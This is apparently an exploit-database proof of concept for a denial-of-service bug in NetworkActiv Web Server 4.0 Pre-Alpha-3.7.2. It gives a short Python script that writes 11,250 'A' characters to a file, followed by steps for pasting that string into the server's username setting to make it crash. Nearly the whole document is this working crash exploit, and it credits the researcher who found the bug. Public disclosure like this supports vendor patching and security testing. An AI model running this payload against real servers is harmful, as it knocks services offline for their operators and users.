NetworkActiv Web Server 4.0 Pre-Alpha-3.7.2 Denial Of Service

`#Exploit Title: NetworkActiv Web Server 4.0 Pre-Alpha-3.7.2 - 'Username' Denial of Service (PoC)  
#Discovery by: Victor MondragA3n  
#Discovery Date: 2018-08-30  
#Vendor Homepage: https://www.networkactiv.com/WebServer.html  
#Software Link: https://www.networkactiv.com/Dev/  
#Tested Version: 4.0 Pre-Alpha-3.7.2  
#Tested on: Windows 10 Single Language x64  
  
#Steps to produce the crash:  
#1.- Run python code: NetworkActiv_Web_Server_4.0_PA_3.7.2.py  
#2.- Open Network.txt and copy content to clipboard  
#2.- Open NetworkActiv Web Server 4.0   
#3.- Select Security options   
#4.- Select "Set username" and Paste ClipBoard on "New Value"   
#6.- Select "Set password" and Put "1234" on "New Value"   
#7.- Crashed  
  
cod = "\x41" * 11250  
  
f = open('Network.txt', 'w')  
f.write(cod)  
f.close()  
  
  
`